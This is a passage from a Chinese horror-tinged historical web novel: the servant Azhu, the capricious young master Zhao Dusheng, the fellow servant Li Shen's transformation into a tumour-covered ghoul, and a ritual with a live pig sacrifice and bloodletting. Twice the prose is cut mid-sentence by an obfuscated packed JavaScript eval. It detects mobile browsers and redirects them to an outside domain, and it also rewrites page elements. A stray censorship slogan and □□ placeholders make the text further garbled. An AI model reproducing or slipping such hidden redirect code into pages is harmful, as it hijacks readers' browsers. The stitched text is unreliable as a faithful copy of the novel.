微合的睫毛间,阿朱又变回了那个老老实实不可能再多说半句话的人。她垂着脑袋,露出依旧枯黄的发顶,双手接过赵渡生面前的糕点。 “谢谢小少爷。” 赵渡生五岁写诗,九岁善文辞,即使进了官场依旧混得风生水起,在赵府的荫蔽下生成一副君子楷模的样子。但他生性顽劣久而久之也会有藏不住马脚的时候。 看见阿朱心惊胆颤,他心底生出某种奇异的快感,整个人由内而外的高兴,甚至乐到伸手一点点捋顺阿朱的头发。阿朱没敢表现出拒绝,只乖乖地站在赵渡生面前,神思恍惚。 左看右看都像草丛里钻出来的小猫。 赵渡生那日足足捋了阿朱一炷香的头发,将阿朱捋得昏昏欲睡,眼皮子直打架。或许实在看不下去阿朱摇摇晃晃的脑袋,赵渡生将阿朱头发扎回去时故意下了劲,扯得阿朱小声痛呼一声,抵挡不住的睡意就这样被人打得烟消云散,扯完人的头发他又一脸无辜地望着阿朱。 阿朱吃痛,伸手摸了摸自己的头发,她来拿赵渡生这样的人没办法。赵渡生弯着眼睛笑嘻嘻地说: “哎呀呀,弄疼你了吧,你不会生气的吧阿朱。” 阿朱能怎么办,赵渡生最喜欢用他的脸博同情,他换上焦急可伶巴巴的眼神,直勾勾地盯着阿朱的脸。阿朱从前跟着地痞流氓混,见惯了撒泼打人、威势逼人,哪里见过赵渡生这种架势,尽管害怕赵渡生阴晴不定,但她最吃这套了。 自己活得憋屈,别人一扮可伶,连同别人的苦也能一起咽下去。 “没呢,我当然不会生气,只是不小心勾到几根头发而已。没事,嗯……后面会重新长出来的。” 阿朱顺顺自己后脑勺的头发,颇有几分傻气地咧嘴笑笑。 泥人似的真没出息,怎么不发火?赵渡生腻了,转手轻轻捏着阿朱好不容易长出来的肉晃了晃。阿朱这会放聪明了顺着他的方向,于是脸颊肉一点痛感也没有。 她觉得自己机灵极了,轻而易举地下了推论。只要顺着赵渡生,自己就不会绝对不会吃苦头。 5. 肉瘤 阿朱挥着扫帚一点点将地上洒过水的灰尘扫干净。右手情不自禁去摸了摸自己的头顶。除去被挽起来的头发,头顶就剩些长到一半翘得高高的碎发。 地面的黑影上,阿朱脑袋毛茸茸的碎发像田间成熟的谷稻随着风左右飘拂,显得脑袋比手里的扫帚还像扫帚。她不明白自己的头发有什么好摸的。 只这一会儿偷懒的功夫,一个装满了茶水的水杯裹挟着力道朝阿朱砸来,还没来得及抬头,杯子不偏不倚地砸中阿朱的眉骨上方。 杯中的茶水洒了一地,不少沾在阿朱的脸颊和睫毛上。茶水顺着睫毛滴下来,阿朱第一反应是看向又脏了的地。她喉口处陡然升起一股莫名的烦闷,她又得重新扫了。 “你一天天就知道偷懒,林管事把你招到府里来是让你过清闲日子的吗?” 李申唾沫横飞,骂得脖子上青筋一条条浮现出来。这段时日,他一日比一日没精神。一开始是睡不好吃不好,后面眼下青黑一片,血管一条条浮出来。 阿朱和他吃饭时,正对着李申。他两颊深削进去,眼睛瞪得滚圆好像要鼓出来,整个人迅速地瘦了下去,两条袖子空荡荡的,言语更是骂得尖酸刻薄。 阿朱看着地上转圈的杯子,后知后觉得感受到额头传来的痛感。她想骂李申几句,可满腔的怒火怨言最终一鼓作气化作长长的叹气。阿朱不和李申计较,自顾自将杯子捡起来继续洒扫。 “贱蹄子,你装聋是不是?”李申一声赛过一声的尖利嘶哑,后面直接没了力气,嗓子里呵哧呵哧不停。“好好好,你觉得我病了治不得你,你等着,看陈妈怎么收拾你。” 阿朱擦去茶水,装作什么也没发生。无他,实在是李申的样貌太过恐怖。 李申一日衰败过一日,如今坐在椅子上的男人,下巴上挂了两个拳头大的肉瘤。一不小心扯到了,李申疼得受不了,半张脸歪歪扭扭地去抬自己的瘤。 阿朱做了两个人该做的事情,到了午时,饿瘪了的肚子一阵阵地痉挛鸣叫。她从厨房拿了点馒头就着咸菜,一口口嚼得很认真。 李申和她不同,他有外面送来的吃食,几盘菜远比阿朱的丰盛许多。阿朱也可以过去和他一起,可李申生病后喜怒不定,说不定下一秒那几盘菜就会扣在阿朱脸上。 她向来是有事就往别处躲的性子,也乐得只用管好自己。几口下去阿朱很快吃好了收拾干净,往李申那边一瞧,李申面前菜汤洒得到处都是。没有肉的十指颤颤巍巍,连筷子都拿不起来,更不用说去夹菜。 阿朱假装没看见,等吃过饭,特意办了张小椅子到廊柱旁,靠着柱子闭眼小憩。天气炎热,手里还拿了把竹扇扇风。这处院子平时从来不见人影,要是能一直这样该多好,当然,要是没有李申就更好了,阿朱想。 她眼睛半闭着,睫毛缝隙里围墙外的树影光斑投在她休憩的一角,院外传来急促的脚步声,一开始阿朱以为脚步声是自己快要睡着的幻觉,直到凌乱的脚步声冲进来。 阿朱放下竹扇直起身子,看向涌进来的一行人,小院从来没有这样多的人进来过。 陈妈从簇拥着的人群中走出来,脸上敷了厚重的白粉,眉间竖起的针纹可见怒气。身旁的林管事神情严肃,扫了一圈只看见呆愣愣坐着的阿朱。 他没什么表情的看向阿朱,阿朱犹豫片刻后走到两人面前,规规矩矩喊了一声。 “李申人呢?”陈妈似乎厌倦极了,不停地扇着扇子,还是林管事问的阿朱。 “他,他在午休。” 不等林管事说话,陈妈忽的冷笑一声,“午休?去,把他拉出来。” 话音刚落,两个小厮低着头快步冲进李申的房间。阿朱很快就听见了李申惊慌的呼喊声。 “你们做什么?!” 李申被扔在地上的时候李申还穿着单衣,用袖子半掩住歪扭的脸,跪在地上。 “陈妈!这是怎么了?”李申跪在地上不服气地喊叫。 陈妈笑得眼睛眯起,眼尾的皱纹炸开花,用胭脂厚厚涂过的嘴唇张开咧起。 “大太太佛面善心,知道府里来了不干净的东西,准备把脏东西给烧了。” 李申佝偻着脊背在抖,还遮住脸,陈妈使了个眼色,下人直接一脚揣在了李申的背上。李申现在哪里吃得住这样打,喉咙里发出一声惨烈的哀嚎,之后就倒在地上呻吟。 “啊啊啊啊啊啊啊!!!” 李申猛地栽倒在地,略显宽大的衣服下摆高高卷起露出青黑的皮肤。脊柱和骨头上蒙着一层长着皱纹的薄皮,皮下可见清晰的血管。他连忙跪起来,抖着手着急忙慌的将自己的衣服整理好,心虚地望向周围的人。 众人不倒吸一口凉气,这一脚下去他们不仅看见了李申的脸还看见了他的畸形怪异的身体。 “好你个丧门星,让脏东西吃成这样了,还不和我说一声。”陈妈气势汹汹地裹着怒气。“还不快点将他给我捆了,拖走!让这样的祸害留在我们赵府,你们有几个脑袋!” 一群人围过去,李申此时此刻竟然呜呜哭泣起来,他顾不上遮脸,长了肉瘤的脸哭得人心惊胆跳。阿朱额头冒起了一颗颗汗珠子,她只在死人时听到过男人这样哭。 李申油尽灯枯的身躯被扭住两臂,恍若泥土里半死不活的草鱼一样只剩下双腿不住的在地上扭曲摩擦着。他鼻涕眼泪糊了满脸,还在求人,双膝跪下膝行过去。 “林管事!林管事!我就是病了,很快就好的。您让陈妈通融一段时间……实在好不了……好不了的话就把我赶出府去,就把我赶出去吧!啊??” “愣着做什么,还不赶紧抬走。” 李申挣开束缚抱住柱子,脸色铁青,嘴唇呈现诡异的铅灰色,两只眼睛突然如同毒蛇一般阴狠地看向阿朱,“是不是你告的状,你这个贱人!” 阿朱后背好像又被李申泼了茶似的,全是水。她后退几步,直到脚后跟被台阶绊住,一屁股摔在台阶上,动弹不得,眼睁睁看着李申恶鬼索命般冲过来。 一道锋利疾速的破空声传来,阳光下,一条游蛇从阿朱背后窜了出来,只听见“啪”的一声,李申的脸和胸口被拉出一道血肉模糊的印子。 他痛呼一声,跪在地上。第二鞭落下,第三鞭,第四鞭……李申身上的衣服碎裂开来,衣不蔽体的在地上小声地呻吟着,野狗一样躺在地上。 阿朱一动不敢动,生怕那鞭子会落在自己身上。李申蜷缩几下□□,试图用力挣扎,直到陡然僵直伸展。他变得奄奄一息,死沉沉的,仿佛没了气息。 “实在是太吵了。” 头顶传来冷冽倦怠的声音,语气普通寻常到就像在说今天日头太晒一样。阿朱侧目望向离自己只有一臂距离的流云长靴。衣袍不断吹拂晃动间可见靴口处露出的一小块白色里衬,将修长紧实的小腿包裹其中。 阿朱卸下手肘处的力气,她瘫坐在地上,仰头透着傻气,望向赵渡生。赵渡生高鼻薄唇,此刻也正居高临下地看着面前没出息的人。阿朱在对上视线片刻后,被赵渡生眼中的锐利冷漠击溃,慌乱地站起身让开路。 “小少爷,大太太吩咐过了,”陈妈犹豫了一瞬后,压低嗓子,恭恭敬敬道:“您是知道的。” 赵渡生没给陈妈眼神,众人低着头皆是一副惶恐不安模样。他长舒一口气,“既是如此,就按大娘说的来吧。” “是,”陈妈尊重行礼后,让人将李申拖了出去。阿朱视线锁在那堆人里,直到陈妈走到阿朱面前,背对着日光吩咐道: “往后李申的事先由你做着,你看了这么些时日,可清楚?规矩都懂?” 阿朱惊醒似的浑身一抖,忙招手,“知道知道,陈妈吩咐的事情我每日都有在好好干……” “她一个人怕是不够中用了,管事哪日再去买几个回来吧,省的出事。”赵渡生语气不屑,掌心来回敲着手里的折扇。烈日阳光衬得他俊美的面庞愈加雍容矜贵起来,阿朱却觉得有几分不寒而栗。 “是,少爷,已经在挑人了,有合适的将文契递给官府,将人送进来。”陈妈耐心地解释,直到赵渡生没好气地“嗯”了一声,一行人才拖着李申风风火火地离开,留下阿朱一人站在院子中间。 她反应慢,又不够聪明,发愣地睁着圆眼,只觉得刚才发生的一切都是幻觉,细细想来都还没来得及反应到底发生了什么,却听见赵渡生带了怒火说道: “你瞪着我干什么,想吃了我?” 阿朱回过神惶恐得不知该如何是好,赵渡生本就心烦气躁,被那该死的下人吼叫地没了兴致,现在面前的呆子一脸痴傻相地盯着自己,脑袋里在想些什么都不知道。 他低垂下青黛色的眼睫,拧着眉毛紧盯着阿朱。刚想出声训斥,一向痴呆没有大动作的脸上却潸然落下两三滴泪水。 阿朱眼前一片模糊,抽抽搭搭换上一种近乎恳求的柔和声调:“你生气了吗?” 一盆水浇在正要烧起来的火堆上,浇的干干净净。赵渡生微张嘴唇,想说的话彻底被堵在了喉咙里。他平生会觉得有难忍的时候,在意识到自己的变化后,他出声低低笑了两声,脸色随即和四月天一样,忽而晴朗忽而恶劣。他走到阿朱面前,用折扇抬起阿朱的下巴。 “下次再敢耍小聪明,我就割了你的舌头。” 阿朱呼吸骤然停止,张开嘴巴小口呼吸起来。 “没有。我没耍小聪明。” 阿朱是老实人,这实在算不得什么小聪明,最多就是在外面流浪久了,为了活下去而练出的一种存活手段。 她被太阳晒得厉害,脸色通红一片,细密的汗水从脸颊滑落,顺着脖子流下来,圆领一圈都是被汗染出的深色。 赵渡生瞥了眼鼻子哼了一声,“我可提醒你一句,给我老老实实呆好了,不要像李申一样不老实,不然…我可保不准你会不会和他一样。” 阿朱身上分明出了那么多的汗,此时此刻却觉得自己如坠冰窖,手臂上汗毛全部竖了起来。她想起李申脸上的肉瘤,青灰的手指,中午下肚的馒头咸菜在胃里翻涌不停,喉咙滚上一口咸,阿朱咽了咽口水。 她缩着肩膀,一副凄惶不可终日的可伶样,“嗯…嗯,我…我老实的。” 经此一事,赵渡生大概是招了风,连着几日使唤阿朱。他把阿朱叫到自己院子里,又不让阿朱做事,阿朱只能干等在一边。 慢慢的,阿朱除了做好该做的事,大部分时间都待在赵渡生的院子里。他把人叫来倒是一句话轻松的事情,可伶阿朱总是要动用脑子去猜测这位小少爷到底意欲何为。 红木矮几上摆了个观音尊,空荡荡的什么花都没插进去。赵渡生斜靠在软枕上,一身瑞兽纹素锦,洗净的头发发梢还在滴着水。他单手握着书,看些阿朱看不懂的字。 阿朱双手发酸,仍然机械揉捏着赵渡生的肩膀。外面风声急促刺耳,偶尔能听见树枝的刮擦声。阿朱看向敞开的大门,外面天色暗沉一片,到处漂浮着厚重腻白的云团,被风一吹,肉眼可见的起伏涌动。 风重重刮进来,吹得帘子到处飞,又被竖起的云母屏风拦在外头。阿朱心不在焉,想到自己晒在外面的衣服,双手不由自主只顾着往下用力。摁了没多久,手下一空,双手没了支撑,惯性的往下偏过去。 摔下去的时间变得很慢,阿朱试图伸手抓住牢靠的扶手,稍一看向赵渡生含笑的眼睛,阿朱就明白他是故意的,于是,收回了手,任由脸落在赵渡生身子旁边。 好在赵渡生向来最舍不得亏待自己,垫子软实,阿朱脸朝下被蒙了片刻呼吸后很快坐了起来。 “你做什么呢一天天,让你捏肩捏着捏着你还给我睡觉是不是,捏个肩连手法都没有只会使力气。哎呀!去去去,捏得我真难受。” 折扇嗒一声敲在阿朱背上,阿朱依旧一脸严肃地紧抿嘴唇,动作缓慢乌龟似的反手去摸了摸。她尽可能往矮几上靠,一手撑着桌子,一手摸背。 还好,不痛。她小心地放下手。 “衣服。” “衣服,什么衣服?说话。”赵渡生将最爱把玩的玉扇往旁边一丢,两眼蹦出几颗不耐烦的火星子。 “快下雨了,我衣服还没收!”阿朱没有任何恶意猛地提高了声调。赵渡生脸上的表情僵了一瞬,停顿片刻后跟吃了半斤炮仗似的,张开嘴大嗓门吼道: “吼这么大声做什么?你有几件破衣服,穿来穿去不就这几件?还收衣服,让雨淋烂了扔了!谁给你的胆子吼我的!” 赵渡生盘腿坐直,与阿朱对峙,似乎是为了验证自己的话又伸手扯了扯阿朱的衣领,手中的触感更让他觉得阿朱的衣服脆弱得像晒干的纸,不需要多大力气就能撕个稀巴烂。 啧,烦人!“别收了,我叫人给你拿新的。”说罢,赵渡生撒开了手给自己扇了扇风又要躺下去。 “不行,到时间了,我得去…去点灯。”阿朱说话声音越来越小,她没什么底气地看了眼赵渡生的脸色。 果然,赵渡生这回真真切切冷了脸,阿朱不知道为什么每次说起自己要去那间屋子时,赵渡生的脸色总是会变得很难看。 他眼睛里有什么东西闪了闪,不掺一丝杂质的眼睛落在阿朱脸上。赵渡生想说什么,可最终不耐地皱眉。 “要走赶紧滚,别在我面前碍眼。滚滚滚!”他话是这么说,但阿朱知道他第二天还是会叫人让自己上他这儿来。 阿朱小心翼翼地从赵渡生旁边爬下去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635200|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默穿好了鞋。赵渡生在身后翻身,弄出了很大的动静。她探了探脑袋,轻声唤了声:“小少爷”。 赵渡生蜷缩身子,双手抱胸,紧闭着眼睛仿佛听不见。 阿朱明白他难哄,思来想去准备明日再说。她绕过屏风,推门走了出去。屋外雨滴大颗大颗砸在地上,空气里一股雨水混着灰尘的味道。 花圃里的一捧一捧的牡丹菊被雨点敲打下花瓣。阿朱踩过水坑急忙忙遮住脸往小院跑。等阿朱将东西全部收拢进屋里时,外面下起了瓢泼大雨,地上积聚起小水潭,屋檐留下的雨滴几乎练成一条线。 阿朱拿布巾抹了抹脸上的雨滴,又从箱子里掏出灯油灯芯。外头雨大,阿朱怕这些物件染了水汽,果断塞进了胸前的兜里,又拿了把伞,小跑进祠堂。 祠堂门小,只够一个人钻进去,阿朱将伞扔在门口,将染了泥的鞋子脱在门口钻了进去。阴冷气很快卷了过来,阿朱打了个哆嗦,从怀里拿出火折子将最近的一盏点亮。 每日都要循环往复做的事情阿朱却做得乐此不彼。她挨个将灭了的烛盏点燃,补上新的灯油,替换掉焦黑的灯芯。 屋里逐渐亮堂起来,但也只是供桌前而已。建得极低的房梁依旧黑沉沉地压下来。阿朱检查过供品后,照例往横出一块木板上的黑箱前摸了摸。 糖又没了。 好在赵渡生每日都会赏给他五花八门的东西,阿朱能在他那吃的就在那吃好,极少悄摸摸带走,除了那些甜到没人要的小食。 阿朱撕开油纸,用手将糖渍梅子推了进去,又撕开一个喂进自己的嘴巴,嘴里鼓鼓囊囊,含糊不清道: “这是糖渍梅子,我很喜欢吃,不知道你喜不喜欢。”阿朱在嘴里嚼着梅子肉。 “赵渡生好像发现我总是会吃很多糖,不让我吃了,这是我悄悄从桌上顺来的,一直藏在兜里,我是不是很聪明。” “糖有些化了,你不要嫌弃。” “我走了,太晚了,要是喜欢你就吃,不喜欢就留着,明天我吃。” 赵府任何一个人在此刻踏进祠堂都会被阿朱神神叨叨的模样吓得惊慌失色。阿朱却毫无意识,语气亲昵,毕竟这个神仙好像真的会来到世上,每天都会以收了阿朱的糖回复阿朱的碎碎念。神仙和自己一样嗜甜,阿朱乐呵呵地想。 夜里大雨没停,大门被风吹得开开合合。阿朱被子受潮,索性将被子堆在脚边一了百了。雨水混着风声噼里啪啦敲在窗纸上,木窗哐当作响,远处偶尔传来惊天雷电响。 阿朱累了一天,困得眼皮子打架,但耳朵里总是有各种清晰可闻的声音。明日得早起,她不仅要干好祠堂的活,还得受赵渡生的差遣。 一想到明日又得对付赵渡生,阿朱就脑袋疼,两个人时间待久了阿朱才发觉赵渡生实在是很难缠的人,她时常因为说错一句话就被指着脑袋一通骂。 夜里杂七杂八的声音更是在阿朱的幻想下逐渐变成赵渡生的声音,阿朱翻了个身,用手捂住自己的耳朵,赵渡生的声音小了些,忽远忽近。 阿朱被开门声吵醒的时候依旧维持着捂耳朵的姿势。屋里没有灯,黑得厉害,但阿朱已经适应了这种暗。她茫然地睁开眼睛,努力让自己的眼睛恢复清明。 门的吱呀声再次传来,阿朱放下捂住耳朵的手转身看向门口,声音消失不见。或许是木门太过老旧,加之今夜狂风大雨,阿朱自然而然地重新俯趴下身子。 就在要重新睡过去时,房门开始剧烈的抖动起来,随之而来的是类似指甲抓过木头的声音,这声音太耳熟了。带着水汽的风撞在阿朱的背上,皮肤上的细微触感被不断放大。 阿朱睁开眼睛,矮小如同侏儒,满是黑色肉瘤却有着人的头颅和四肢的影子站在自己床前。 窗外雷电一闪而过,短暂地照亮屋内的一切。 黑影浑身长满紫黑瘢痕,胸前的骨头深深地凹进去,脖子四周长满肉瘤,头颅被肉瘤挤得高高昂起。 “啊啊啊啊啊啊啊啊——” 阿朱惊恐地大叫起来,从床上爬起来就要跳下去。形似恶鬼的肉球冲过来扣住阿朱的小腿。随着肉球一起过来的是死尸的味道,阿朱胃里痉挛几下后跪在被子中间吐了出来。 阿朱拼命睁大眼睛,在仅有的光亮里,看见了挤在烂肉中的人脸。 李申。 不,眼前的恶鬼已经算不得人,更不是李申。 他全身赤裸着,后背脊柱鼓起一个大包,透过皮肤阿朱甚至能看见几乎快被撑破的人皮下,蠕动的红色血肉。 也就是这几瞬的犹豫,李申爬上了阿朱的床,朝阿朱冲过来。 黏腻冰冷的东西滴在腿上,阿朱心跳骤停,看着越来越近的“李申”本能地伸出脚踹过去。 肉球被撞倒在地,又重新爬起来,阿朱听见了他嘴里近乎枯朽喃喃不停的声音。 “少…爷…少…爷…” 李申似乎还有人的沉重喘息声,又朝阿朱伸手。 “走开啊!!” 所有感知消失时,屋外突然出现光亮和一阵急促的脚步声。 阿朱逃出门外,迎面撞上林管事。 “!!林管事!李申……李申……他在里面。” 小厮冲进阿朱的屋子,阿朱看见了他们手上的锁链。屋内很快传来某种动物挣扎的哼哧。 雨水刮在阿朱身上,阿朱感受到皮肤上的黏腻,立刻弯腰撕下自己裤腿上的布,使劲将李申留下的“血”擦干净。直到擦到皮肤破裂,穿俩阵阵刺痛感,阿朱才将布扔在一边。 屋内脚步声杂乱,锁链声、嘶吼声响个不停。阿朱往林管事身后踏了一步,小厮拖着锁链往外走,通向黑暗的锁链绷得很直被一点点往外拉。 火光下,阿朱眼睛一瞬不眨地望向李申暴露在火光下几乎没有形状的躯体。李申咽喉中发出幽咽的呜呜声。他发灰凸起的眼睛露出某种恐惧,喉咙里不断传来模糊断断续续的声音。 阿朱听清了,他又在念少爷。 就在阿朱要仔细听时,林管事站在了阿朱面前,随即,阿朱听见了棍子重重敲打在□□上的声音。 半刻钟后小院彻底安静下来。 “回房间待着。” 阿朱涣散地目光重新聚在林管事的脸上,她哑着嗓子应声。 “好,好。” 在林管事的目光催促下,阿朱僵硬地重新回到了自己的屋子,门在身后被人关上,可阿朱此时此刻却觉得自己呼吸不过来,浑身的皮肤像被针扎过一样刺痛难忍。 屋外火光消失,地上留下了一大滩血液,阿朱的小腿又隐约浮现起被抓住的触感。打了个哆嗦后,阿朱抬起发软的腿走到床前,抱起自己的被子。 6. 生猪活祭 阿朱垂着脑袋,苦思冥想。赵府里她只能去找赵渡生,转而又发现自己实在没有这个胆子。于是,阿朱拖着自己那床受了潮的被子往祠堂走去。 祠堂内,阿朱回身将门关上,风雨被隔绝在外,燃烧着的灯芯散着昏黄的光亮。 阿朱抬起头,定睛看了两秒后,揉了揉眼睛,莫名觉得宝箱颜色有点不对劲。它的表面该是涂了漆,总是泛着锋利的冷光,此时却突然像染了什么莹润的油膏。 夜雨逐渐变得黏稠,阿朱顾不得颜色,扫视一圈后,看向了供桌。 “仙…人,仙人,看在我按时焚香点香油灯的份上,让我睡一晚吧。”,阿朱一字一顿,正色补充道:“我睡相很好,不会吵到你。” 周遭死寂,呼吸不可闻,阿朱迈开小步,抱着被子掀开桌布,爬到供桌下面。桌子底下空间狭窄,她不得不蜷缩起四肢,将被子围成一个小小的鸟窝,垫在屁股下面。 阿朱如同雏鸟一般,缩在凳子底下,将自己藏在黑棺的正下方。夜雨连绵,狭窄空间带给阿朱前所未有的踏实。 只是借住一宿,真的只是一宿,神仙不会生气,她也不会赖着不走。但莫名其妙的习惯一旦养成就很难再戒掉。 阿朱将自己的窝挪到了祠堂,一连几天点完灯就钻进桌子底下。这院子只有她一个人,平时门口也没人会路过,李申一走就更没人会管她。 那头赵渡生估摸找到了新乐子,熄了火没再叫人到他面前使唤一通。院子里除去阿朱时不时的脚步声就只剩下一摊死水的静默。 阿朱照例点好香的早上,准备将擦了祠堂地面的污水抬出去,屋外一群人乌泱泱簇拥着一个女人走进来,阿朱在女人身后看见了林管事和陈妈。 女人上了年纪,规整的鬓角有很多白发但气度沉稳身姿端庄,眉眼间透着股不怒自威的气场。周围的下人恭恭敬敬屏息凝神,就连用鼻孔看人的陈妈都露出了极少见的喜色与奉承。 女人身旁站了个老太婆,身材瘦削,头发花白,长到弯曲的指甲指着小院的各个方位,嘴里似乎在低声说些什么,而女人也听的很认真。 阿朱躲在门后,一眼注意到老太婆身上的衣服,她明白对方大概率和牛贵做一样的事情,只不过显而易见的是这个道婆比牛贵更货真价实。 阿朱刚焚好香没来得及出去,提溜着桶水不知所措地站在原地。一群人很快就晃到了祠堂,女人在此时露出了嫌恶的神色,用手帕捂住鼻子告诉道婆:“我就不进去了,你进去看看。” “是,夫人。” 道婆连忙应声,她走进门,似乎没想到门后会站着有人,被吓了一跳又恢复镇定。 “你是谁?” 阿朱为难地看向林管事,对面很自然的在道婆耳边说了一番后,使眼色让阿朱出去。阿朱抱着木桶,反应神速地点头,行了个礼就要提着半桶晃荡着的污水出去。 “等等,你站住。” 铜铃声响起,一根盘到出油用红绸带绑着铜铃的桃木枝硬生生拦住阿朱的步子。 道婆看着阿朱,细细扫视后,眼睛乌贼地转个不停。她突然上手极为满意地摸了几把阿朱的骨头。 “我做法留着她有用,先别走了,在一旁看着吧。” 阿朱看着道婆走向供台,伸出右手,指尖晃动。宝箱在燃烧的香里显得模糊幽怨。 道婆忽地转过身大喝一声,双眼翻白,在屋里晃动着铜铃走到门外。一众年岁不大的孩子从门外抬着巨大的架子走进院子。 架子重重落地,被绑在木架上的猪不断地哼哧喘气,压弯了木架。 阿朱从来没见过这么大的猪,肉挤压脸,几乎看不见眼睛,四肢都被牢牢绑上,无法挪动挣扎。背上盖了块方黄绫,架子四周摆上烧给死人的纸花。 隔着飘动的红绸,阿朱看见了赵渡生,他闲庭信步地过来,淡淡扫了眼阿朱后,站在女人身旁,好似周围的人都和他没关系。 “怎么这么晚,昨天晚上又跑到哪里厮混了?”女人脸不自然地垮了下来,阴阳怪气地压制住愤怒语气呵斥他。 赵渡生随意地扇着扇子,没个正行的朝宋礼莲行了个礼,他长长叹了口气,脸色懒散疲乏。 “这不是有娘您出马吗?还用得着我吗?” “那你可得看好了,那些个腌臜东西可不能又被招进来,脏气不清老爷身子骨好不起来。” 赵渡生不置可否,他挑了挑眉,侧头看向阿朱。阿朱依旧站在屋内,两人中间隔了一道门槛,阿朱不敢踏出去。 赵渡生眼神奇怪专注,盯得阿朱以为自己脸上有什么东西,于是伸出两手在脸上蹭蹭,转而用一种希冀的眼神看向赵渡生。赵渡生唇角微掀,朝自己眨了眨眼睛,眼睛一闪一闪的,阿朱明白自己又被他骗了。 院内烟雾缭绕,黄纸烧出的味道钻进阿朱的鼻孔里,阿朱看着向来安静的院子变得乌烟瘴气,做法的人却无动于衷,专心致志地挥动着桃枝。 “多年不见,姑姑依旧掌着通天神机呀,大夫人且放心,什么祸乱阴魂,这次定能除个干净,让您好好睡一觉。”陈妈的话很快让宋夫人紧绷的神情露出几分坦然安心。 一阵风从阿朱身后掠过去,冰得阿朱清醒了些。门外铜铃清脆得响个不停,众人围着活猪敲锣打鼓,声音剧烈急促,一声大过一声。被绑着的猪在一众响声中长开嘴,尖锐粗粝地嘶吼喊叫。 阿朱身体发昏,开始头疼,脑子里好像有东西要涨出来。她不受控制地伸手,从袖口翻出原本应该放在宝箱前的糖果喂进嘴里。 丝丝甜味儿缠在舌头上,替阿朱赶走了不少恐慌,就像隔了层膜让声音传不进她的耳朵。 阿朱只能看见活猪张大着嘴巴,从两侧不断地流出带着泡沫的口水。 “真可伶,”阿朱想,一头小猪仔被人极端地喂养到这么大,等大了就狠狠绑住四肢躺在木板上动弹不得。它生来的使命就是被吃掉的,不被人吃也是被野兽吃。 晃神之际,道婆迈着步子走向活猪的头,她手里的桃枝不知何时变成了一把锋利闪着亮光的长刀,阿朱还未回过神,长刀划过深深地刺进猪的脖颈里,冲上天的红泉占了满眼。 活猪最后蹦出惨烈而痛苦地嚎叫,在喉咙逐渐灌进自己的血后,便哼哧哼哧地从鼻孔呛出血沫子。四肢不断在木架上扭曲直至骨头折断。 阿朱四肢控制不住的微微发颤,苦味重新涌上喉咙,死死压制住仅存的甜。她头晕眼眩,屋内不流通的空气此时此刻变得憋闷喘不过气。 赵渡生神色不变,似乎已经习以为常,眉眼带着股倦怠的淡漠,就好像什么脏东西污了他鞋面。 道婆随手扔掉长刀,周围的小道立刻用陶罐接着喷涌而出的猪血。仿佛受到什么指引似的,道婆闭着眼睛,嘴里念念有词地走来。 阿朱眼睁睁看着她将黑棺抬下来放在桌上,众人惊悚的不敢发出一点声音,道婆却以诡异的角度扭过自己的头看向阿朱。 双肩一沉,两个小道面无表情地抓住阿朱的肩膀,将她往前推。 “你们做什么!!”阿朱挣脱不开,尽管她大声呵斥,小道只扣住阿朱将她带到道婆面前。 阿朱仍旧不死心地挣动片刻,很快,膝盖窝传来被人重重踹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿朱听见道婆欲言又止,明白自己还是得被划一刀,可她双手紧紧勾着不肯撒手。 赵渡生一把将阿朱拎起来,阿朱头发乱糟糟的,他看了眼笑道:“眼泪倒是没流多少,把自己弄得这么可伶。” 阿朱闻言,低头眨巴几下眼睛,恨自己天生就是个不会哭的,兴许多流点眼泪就不会被抓来了。 道婆重新抓上阿朱的手腕,阿朱身后是赵渡生,被人环住,逃不出去,像被人揪住后脖颈的小土狗,一动不动。 她忽地抬头看向赵渡生,“能不割吗?我怕疼。” 赵渡生极为人性地锁住阿朱的手臂,“阿朱不要害怕,只取一点。”刀刃陷进肉里,传来刺痛感。血珠瞬间冒出来练成一条红线,顺着手腕滴答滴答落到黑棺上。 阿朱身前是赵渡生的胳膊,她看见自己的血流个不停,滴进又融进去消失不见,尾椎骨直往下坠。 下巴的眼泪落在赵渡生的虎口处。阿朱想,赵渡生确实不是个好人,他才不会救她。 她不知道自己要流多少血,眼睛盯着不断下落的血胸口开始喘不过气。 眼前一道黑影落下,赵渡生伸手遮住了阿朱的眼睛,阿朱眨了眨眼睛,睫毛蹭在赵渡生的掌心。 赵渡生低头看向阿朱,眼神专注而认真,莫名说不出的意味。他叹了口气,会读心术一般轻声安慰道:“阿朱是不是在骂我不是好人,我真是好伤心,但是阿朱不好害怕,很快就好了。” 阿朱听得抖了抖,屏住呼吸后更是头晕脑胀。 赵渡生伸出大拇指,在阿朱的眉间来回抚触了几下,轻柔温暖。或许是血流了太多,阿朱渐渐没了力气,一下闭上在赵渡生掌下的眼睛晕死过去。 让我们一起默念社会主义核心价值观 7. 噩梦 “你为什么不吃饭啊!!快点吃,你想饿死是不是,小孽种!!” 巴掌声接连不断地响起,阿朱缓慢地眨了眨眼睛。她想起自己应该在流血,看了看手腕,光洁一片,心底不由得诧异。 难不成是梦,阿朱想。 青天白日里,阿朱站在院子中间,手里莫名其妙拿着个灯笼,灯笼里灯芯燃烧着,在手上幅度不大地轻微晃动着。 院子杂草丛生,色泽鲜亮的柱子早已被风雨剥蚀,不少黑瓦片出现裂痕,碎裂落在地上无人清扫。 “你是不是想先逼死自己再逼死我,你怎么不去死!” 女人的叫骂声不停,阿朱拎着灯笼走向两人。那是个五岁大的孩子,男孩。 身上穿着一身破旧衣服,两只袖子空荡荡的,露出骨瘦伶仃的手腕。他头发短而杂乱,头上顶着两个旋坐在小木凳上,任由女人对他又打又骂。 